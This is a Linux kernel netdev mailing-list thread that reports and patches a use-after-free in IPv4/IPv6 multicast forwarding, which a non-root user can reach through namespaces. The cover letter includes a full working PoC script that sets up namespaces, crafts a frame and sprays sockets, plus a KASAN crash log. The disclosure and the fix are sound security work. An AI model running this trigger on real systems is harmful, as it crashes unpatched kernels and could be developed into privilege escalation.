* [PATCH net v3 0/1] ip: orphan prefetched skbs before multicast forwarding
@ 2026-08-12 16:36 Zhiling Zou
2026-08-12 16:36 ` [PATCH net v3 1/1] " Zhiling Zou
0 siblings, 1 reply; 2+ messages in thread
From: Zhiling Zou @ 2026-08-12 16:36 UTC (permalink / raw)
To: idosch, netdev, bpf
Cc: dsahern, davem, edumazet, kuba, pabeni, horms, ast, kafai, joe,
vega, zhilinz
Hi Linux kernel maintainers,
We found and validated a issue in net/ipv4/ipmr.c and net/ipv6/ip6_input.c.
The bug is reachable by a non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
IPv4 and IPv6 input can preserve an skb->sk association installed by
bpf_sk_assign() or UDP early demux without holding a reference on the
selected socket. Local delivery consumes that association while the
receive-side RCU read-side critical section still protects the socket.
When a multicast packet is not locally deliverable, the IPv4 and IPv6
multicast routing paths can instead retain the original skb. The skb may be
queued on an unresolved multicast route or forwarded after the receive-side
RCU section ends. Userspace can then destroy the prefetched socket before the
skb is released, leaving skb->sk stale. A later free invokes sock_pfree() and
dereferences the freed socket.
Orphan the original skb before each non-local multicast forwarding path.
Local delivery remains unchanged, and the existing skb_clone() paths already
give multicast forwarding a clone without the socket association.
Reproducer:
chmod +x ~/poc.sh
unshare -Urn -- bash -lc ~/poc.sh
We run the PoC in an x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/bash
set -euo pipefail
GROUP_ADDR="${GROUP_ADDR:-ff0e::123}"
SRC_ADDR="${SRC_ADDR:-2001:db8:1::2}"
DST_ADDR="${DST_ADDR:-2001:db8:1::1}"
SPORT="${SPORT:-31337}"
DPORT="${DPORT:-42424}"
IF_RX="${IF_RX:-v0}"
IF_TX="${IF_TX:-v1}"
COUNT="${COUNT:-1}"
cleanup() {
ip link del "$IF_RX" 2>/dev/null || true
}
trap cleanup EXIT
ip link del "$IF_RX" 2>/dev/null || true
ip link add "$IF_RX" type veth peer name "$IF_TX"
ip link set lo up
ip link set "$IF_RX" up
ip link set "$IF_TX" up
ip -6 addr add "${DST_ADDR}/64" dev "$IF_RX" nodad
ip -6 addr add "${SRC_ADDR}/64" dev "$IF_TX" nodad
export GROUP_ADDR SRC_ADDR DST_ADDR SPORT DPORT IF_RX IF_TX COUNT
python3 - <<'PY'
import fcntl
import ipaddress
import os
import socket
import struct
import sys
import time
SIOCGIFHWADDR = 0x8927
SOL_IPV6 = socket.IPPROTO_IPV6
MRT6_INIT = 200
MRT6_ADD_MIF = 202
GROUP = os.environ["GROUP_ADDR"]
SRC_ADDR = os.environ["SRC_ADDR"]
DST_ADDR = os.environ["DST_ADDR"]
SPORT = int(os.environ["SPORT"])
DPORT = int(os.environ["DPORT"])
IF_RX = os.environ["IF_RX"]
IF_TX = os.environ["IF_TX"]
COUNT = int(os.environ["COUNT"])
def get_hwaddr(ifname: str) -> bytes:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
ifreq = struct.pack("256s", ifname.encode())
res = fcntl.ioctl(s.fileno(), SIOCGIFHWADDR, ifreq)
return res[18:24]
finally:
s.close()
def csum(data: bytes) -> int:
if len(data) & 1:
data += b"\x00"
total = 0
for i in range(0, len(data), 2):
total += (data[i] << 8) + data[i + 1]
while total >> 16:
total = (total & 0xFFFF) + (total >> 16)
return (~total) & 0xFFFF
def udp6_checksum(src: bytes, dst: bytes, udp: bytes, payload: bytes) -> int:
pseudo = src + dst + struct.pack("!I3xB", len(udp) + len(payload), socket.IPPROTO_UDP)
return csum(pseudo + udp + payload)
rx_mac = get_hwaddr(IF_RX)
tx_mac = get_hwaddr(IF_TX)
tx_ifindex = socket.if_nametoindex(IF_TX)
rx_ifindex = socket.if_nametoindex(IF_RX)
src_ip = ipaddress.IPv6Address(SRC_ADDR).packed
group_ip = ipaddress.IPv6Address(GROUP).packed
print(f"[+] {IF_RX} ifindex={rx_ifindex} mac={rx_mac.hex(':')}")
print(f"[+] {IF_TX} ifindex={tx_ifindex} mac={tx_mac.hex(':')}")
mroute = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)
mroute.settimeout(1.0)
mroute.setsockopt(SOL_IPV6, MRT6_INIT, struct.pack("@I", 1))
mif = struct.pack("@HBBHI", 0, 0, 1, rx_ifindex, 0)
mroute.setsockopt(SOL_IPV6, MRT6_ADD_MIF, mif)
print("[+] Enabled IPv6 multicast routing and added ingress MIF")
udp = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM, 0)
udp.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, IF_RX.encode() + b"\x00")
udp.bind((GROUP, DPORT, 0, 0))
udp.connect((SRC_ADDR, SPORT, 0, 0))
print("[+] Bound UDP socket to multicast group and connected it to the sender")
payload = b"UAF!"
udp_len = 8 + len(payload)
udp_hdr = struct.pack("!HHHH", SPORT, DPORT, udp_len, 0)
udp_sum = udp6_checksum(src_ip, group_ip, udp_hdr, payload)
udp_hdr = struct.pack("!HHHH", SPORT, DPORT, udp_len, udp_sum)
ipv6_hdr = struct.pack("!IHBB16s16s", (6 << 28), udp_len, socket.IPPROTO_UDP, 64, src_ip, group_ip)
eth_hdr = rx_mac + tx_mac + struct.pack("!H", 0x86DD)
frame = eth_hdr + ipv6_hdr + udp_hdr + payload
pkt = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x86DD))
pkt.bind((IF_TX, 0))
for i in range(COUNT):
pkt.send(frame)
print(f"[+] Sent crafted frame {i + 1}/{COUNT}")
time.sleep(0.05)
try:
report = mroute.recv(4096)
print(f"[+] Received multicast-routing report ({len(report)} bytes)")
except TimeoutError:
print("[-] Did not receive multicast-routing report before timeout", file=sys.stderr)
udp.close()
print("[+] Closed matched UDP socket; forcing a short grace-period window before mroute cleanup")
for _ in range(16):
spray = []
for _ in range(64):
spray.append(socket.socket(socket.AF_INET6, socket.SOCK_DGRAM, 0))
for s in spray:
s.close()
time.sleep(1)
print("[+] Closing the mroute socket to flush the unresolved queue")
mroute.close()
time.sleep(1)
print("[-] No crash observed after mroute cleanup")
PY
------END poc.sh--------
----BEGIN crash log----
[ 233.980031][T10483] page_owner tracks the page as allocated
[ 233.980997][T10483] page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 10250, tgid 10250 (sshd-auth), ts 133770429918, free_ts 133706329619
[ 233.984140][T10483] page last free pid 10250 tgid 10250 stack trace:
[ 233.985380][T10483] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 233.986371][T10483] CPU: 1 UID: 1028 PID: 10483 Comm: python3 Not tainted 6.12.95 #2
[ 233.987459][T10483] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 233.989090][T10483] Call Trace:
[ 233.989583][T10483] <TASK>
[ 233.989996][T10483] panic (build/../kernel/panic.c:108)
[ 233.990555][T10483] ? __pfx_panic (build/../kernel/panic.c:740)
[ 233.991198][T10483] ? rcu_is_watching (build/../include/linux/context_tracking.h:128 (discriminator 1) build/../kernel/rcu/tree.c:752 (discriminator 1))
[ 233.991902][T10483] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
[ 233.992689][T10483] ? __pfx_lock_release (build/../kernel/locking/lockdep.c:238 (discriminator 9))
[ 233.993399][T10483] ? mark_held_locks (build/../kernel/locking/lockdep.c:4364 (discriminator 1))
[ 233.994058][T10483] ? sock_pfree (build/../net/core/sock.c:3919)
[ 233.994697][T10483] check_panic_on_warn (build/../kernel/panic.c:527 (discriminator 1))
[ 233.995387][T10483] end_report (build/../include/linux/srcu.h:634 build/../include/trace/events/error_report.h:69 build/../include/trace/events/error_report.h:69 build/../mm/kasan/report.c:222)
[ 233.995994][T10483] kasan_report (build/../mm/kasan/report.c:597)
[ 233.996621][T10483] ? sock_pfree (build/../net/core/sock.c:3919)
[ 233.997277][T10483] sock_pfree (build/../net/core/sock.c:3919)
[ 233.997878][T10483] skb_release_head_state (build/../net/core/skbuff.c:1164)
[ 233.998614][T10483] sk_skb_reason_drop (build/../include/linux/refcount.h:395 build/../include/linux/refcount.h:432 build/../include/linux/refcount.h:450 build/../include/linux/skbuff.h:1292 build/../net/core/skbuff.c:1212 build/../net/core/skbuff.c:1240)
[ 233.999304][T10483] ip6mr_destroy_unres (build/../net/ipv6/ip6mr.c:783 build/../net/ipv6/ip6mr.c:810)
[ 234.000008][T10483] mroute_clean_tables (build/../include/linux/instrumented.h:112 build/../include/asm-generic/bitops/instrumented-lock.h:57 build/../include/linux/bit_spinlock.h:40 build/../include/linux/rhashtable.h:328 build/../include/linux/rhashtable.h:1063 build/../include/linux/rhashtable.h:1144 build/../include/linux/rhashtable.h:1195 build/../net/ipv4/ipmr.c:1344)
[ 234.000780][T10483] ? __pfx_mroute_clean_tables (build/../net/ipv4/ipmr.c:3147)
[ 234.001562][T10483] ? do_raw_spin_lock (build/../arch/x86/include/asm/atomic.h:107 (discriminator 4) build/../include/linux/atomic/atomic-arch-fallback.h:2170 (discriminator 4) build/../include/linux/atomic/atomic-instrumented.h:1302 (discriminator 4) build/../include/asm-generic/qspinlock.h:111 (discriminator 4) build/../kernel/locking/spinlock_debug.c:116 (discriminator 4))
[ 234.002275][T10483] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
[ 234.003037][T10483] ? nlmsg_notify (build/../include/net/netlink.h:1163 build/../include/net/netlink.h:1184 build/../net/netlink/af_netlink.c:2593)
[ 234.003689][T10483] ip6mr_sk_done (build/../net/ipv6/ip6mr.c:1627 (discriminator 7))
[ 234.004359][T10483] rawv6_close (build/../net/ipv6/raw.c:1163)
[ 234.004949][T10483] inet_release (build/../net/ipv4/af_inet.c:443)
[ 234.005587][T10483] __sock_release (build/../net/socket.c:722)
[ 234.006239][T10483] sock_close (build/../net/socket.c:1514 (discriminator 1))
[ 234.006828][T10483] __fput (build/../fs/file_table.c:505)
[ 234.007408][T10483] __x64_sys_close (build/../fs/open.c:1501 (discriminator 1) build/../fs/open.c:1492 (discriminator 1) build/../fs/open.c:1492 (discriminator 1))
[ 234.008100][T10483] do_syscall_64 (build/../include/linux/entry-common.h:109 (discriminator 2) build/../include/linux/entry-common.h:147 (discriminator 2) build/../include/linux/entry-common.h:178 (discriminator 2) build/../arch/x86/entry/syscall_64.c:89 (discriminator 2))
[ 234.008743][T10483] entry_SYSCALL_64_after_hwframe (build/../arch/x86/entry/entry_64.S:121)
[ 234.009574][T10483] RIP: 0033:0x7f2cf3098687
[ 234.010187][T10483] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
All code
========
0: 48 89 fa mov %rdi,%rdx
3: 4c 89 df mov %r11,%rdi
6: e8 58 b3 00 00 call 0xb363
b: 8b 93 08 03 00 00 mov 0x308(%rbx),%edx
11: 59 pop %rcx
12: 5e pop %rsi
13: 48 83 f8 fc cmp $0xfffffffffffffffc,%rax
17: 74 1a je 0x33
19: 5b pop %rbx
1a: c3 ret
1b: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
22: 00
23: 48 8b 44 24 10 mov 0x10(%rsp),%rax
28: 0f 05 syscall
2a:* 5b pop %rbx <-- trapping instruction
2b: c3 ret
2c: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
33: 83 e2 39 and $0x39,%edx
36: 83 fa 08 cmp $0x8,%edx
39: 75 de jne 0x19
3b: e8 23 ff ff ff call 0xffffffffffffff63
Code starting with the faulting instruction
===========================================
0: 5b pop %rbx
1: c3 ret
2: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
9: 83 e2 39 and $0x39,%edx
c: 83 fa 08 cmp $0x8,%edx
f: 75 de jne 0xffffffffffffffef
11: e8 23 ff ff ff call 0xffffffffffffff39
[ 234.013809][T10483] RSP: 002b:00007ffc31527620 EFLAGS: 00000202 ORIG_RAX: 0000000000000003
[ 234.015292][T10483] RAX: ffffffffffffffda RBX: 00007f2cf3004780 RCX: 00007f2cf3098687
[ 234.016667][T10483] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000003
[ 234.018064][T10483] RBP: 0000000000000003 R08: 0000000000000000 R09: 0000000000000000
[ 234.019365][T10483] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000a83590
[ 234.020465][T10483] R13: 00007f2cf3340180 R14: 0000000000000000 R15: 00007f2cf3340188
[ 234.021975][T10483] </TASK>
[ 234.022699][T10483] Kernel Offset: disabled
[ 234.023317][T10483] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
ip: orphan prefetched skbs before multicast forwarding
net/ipv4/ipmr.c | 3 +++
net/ipv6/ip6_input.c | 1 +
2 files changed, 4 insertions(+)
--
2.43.0
^ permalink raw reply [flat|nested] 2+ messages in thread
* [PATCH net v3 1/1] ip: orphan prefetched skbs before multicast forwarding
2026-08-12 16:36 [PATCH net v3 0/1] ip: orphan prefetched skbs before multicast forwarding Zhiling Zou
@ 2026-08-12 16:36 ` Zhiling Zou
0 siblings, 0 replies; 2+ messages in thread
From: Zhiling Zou @ 2026-08-12 16:36 UTC (permalink / raw)
To: idosch, netdev, bpf
Cc: dsahern, davem, edumazet, kuba, pabeni, horms, ast, kafai, joe,
vega, zhilinz
IPv4 and IPv6 input preserve an skb->sk association installed by
bpf_sk_assign() so that local delivery can use the selected socket under
RCU. Both address families can also prefetch a socket in UDP early demux.
In both paths (BPF and UDP early demux) a reference is not guaranteed to
be held on the socket.
When a multicast packet is not locally deliverable, IPv6 hands the
original skb to ip6_mr_input(). IPv4's ip_mr_input() similarly keeps the
original skb when local delivery is not needed. Either path can put the
skb on an unresolved multicast route queue or forward it after the
receive-side RCU section ends.
After the prefetched socket is destroyed, a later skb free invokes
sock_pfree() and dereferences the stale skb->sk. Orphan the skb before
each non-local multicast forwarding path. Local delivery retains the
original skb; the existing skb_clone() calls provide multicast forwarding
with a socket-free clone.
Fixes: cf7fbe660f2d ("bpf: Add socket assign support")
Fixes: 08842c43d016 ("udp: no longer touch sk->sk_refcnt in early demux")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
changes in v3:
- Describe UDP early demux consistently for both IPv4 and IPv6.
- Drop the IPv6-specific unicast-MAC discussion from the commit message.
- Leave the BPF-only TC redirect and bridge paths for a separate patchset.
- v2 Link: https://lore.kernel.org/all/f968f497251dedbd1263c322a7c4e3e1a727161d.1786023177.git.zhilinz@nebusec.ai/
changes in v2:
- Cover the IPv4 multicast forwarding path.
- Correct the IPv6 early-demux ordering and document the unicast-MAC
PACKET_HOST condition used by the reproducer.
- Add the BPF socket-assignment and UDP early-demux Fixes tags.
- v1 Link: https://lore.kernel.org/all/02db4590d0161e31a789dcdfa8d1be1a3212ec2e.1785724784.git.zhilinz@nebusec.ai/
net/ipv4/ipmr.c | 3 +++
net/ipv6/ip6_input.c | 1 +
2 files changed, 4 insertions(+)
diff --git a/net/ipv4/ipmr.c b/net/ipv4/ipmr.c
index 1d9a4ac14fcef..e5f2b1c6150d2 100644
--- a/net/ipv4/ipmr.c
+++ b/net/ipv4/ipmr.c
@@ -2213,6 +2213,9 @@ int ip_mr_input(struct sk_buff *skb)
if (IPCB(skb)->flags & IPSKB_FORWARDED)
goto dont_forward;
+ if (!local)
+ skb_orphan(skb);
+
mrt = ipmr_rt_fib_lookup(net, skb);
if (IS_ERR(mrt)) {
kfree_skb(skb);
diff --git a/net/ipv6/ip6_input.c b/net/ipv6/ip6_input.c
index 8972863c93ee5..d332ec60f9150 100644
--- a/net/ipv6/ip6_input.c
+++ b/net/ipv6/ip6_input.c
@@ -622,6 +622,7 @@ int ip6_mc_input(struct sk_buff *skb)
if (deliver) {
skb2 = skb_clone(skb, GFP_ATOMIC);
} else {
+ skb_orphan(skb);
skb2 = skb;
skb = NULL;
}
--
2.43.0
^ permalink raw reply related [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-08-12 16:36 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-12 16:36 [PATCH net v3 0/1] ip: orphan prefetched skbs before multicast forwarding Zhiling Zou
2026-08-12 16:36 ` [PATCH net v3 1/1] " Zhiling Zou
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox